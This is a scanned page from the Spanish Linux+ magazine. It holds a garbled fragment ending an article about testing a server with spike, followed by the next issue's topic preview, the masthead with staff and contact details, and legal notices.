Algunos ejemplos de logs que podemos ver en • BruteForce Password (POST) (Listado bería o sin por el contrario muestran algunas
nuestro servidor al usar spike: 11). Nota: Recordemos que Apache por debilidades o fallas que debamos corregir.

PUBLICIDAD

www.lpmagazine.org 89
El tema principal del siguiente número de Linux+ será:

Linux en la empresa

El próximo número incluirá los siguientes artículos:

• Reducción de costes de software gracias


a Software Libre: ¿un mito?
• Google en la empresa
• Aplicaciones de Internet Enriquecidas (RIA):
Programando RIA con Flex y AMFPHP
• Rehosting de sistemas VAX/OpenVMS
en sistemas GNU/Linux

La Redacción se reserva derecho a modificar sus planes

Mensual Linux+ está publicado Diseño portada: La Redacción se ha esforzado para que el material publicado en la
por Software-Wydawnictwo Sp. z o. o. Agnieszka Marchocka revista y en los DVDs que la acompañan funcionen correctamente.
Gráfico: Sin embargo, no se responsabiliza de los posibles problemas que
Producción: Łukasz Pabian – "insane" puedan surgir.
Marta Kurpiewska, marta@software.com.pl Publicidad:
Product Manager adv@software.com.pl Todas las marcas comerciales mencionadas en la revista son
Paulina Pyrowicz, paulina.pyrowicz@software.com.pl Suscripción: propiedad de las empresas correspondientes y han sido usadas
Redactora jefe: suscripcion@software.com.pl únicamente con fines informativos.
Aleksandra Tęsiorowska, a.tesiorowska@lpmagazine.org
Colaboradores: La Redacción usa el sistema de composición
Francisco Javier Carazo Gil, José Carlos Cortizo Pérez, automática
David Puente Castro, Jorge Emanuel Capurro Distribución:
Coedis, S. L. Los DVDs incluidos en la revista han sido comprobados con
Correctores: Avd. Barcelona, 225 el programa AntiVirenKit, producto de la empresa
Pablo Cardozo 08750 Molins de Rei (Barcelona), G Data Software Sp. z o.o.
España
Preparación de DVDs: ¡Advertencia!
Ireneusz Pogroszewski, Andrzej Kuca Dirección: Queda prohibida la reproducción total o parcial de esta ublicación
Software–Wydawnictwo Sp. z o.o., periódica, por cualquier medio o procedimiento, sin para ello
DTP: ul. Bokserska 1, contar con la autorización previa, expresa y por escrito del editor.
Marcin Ziółkowski 02-682 Varsovia,
Graphics & Design Studio, www.gdstudio.pl Polonia Linux ® es una marca comercial registrada de Linus Torvalds.

S-ar putea să vă placă și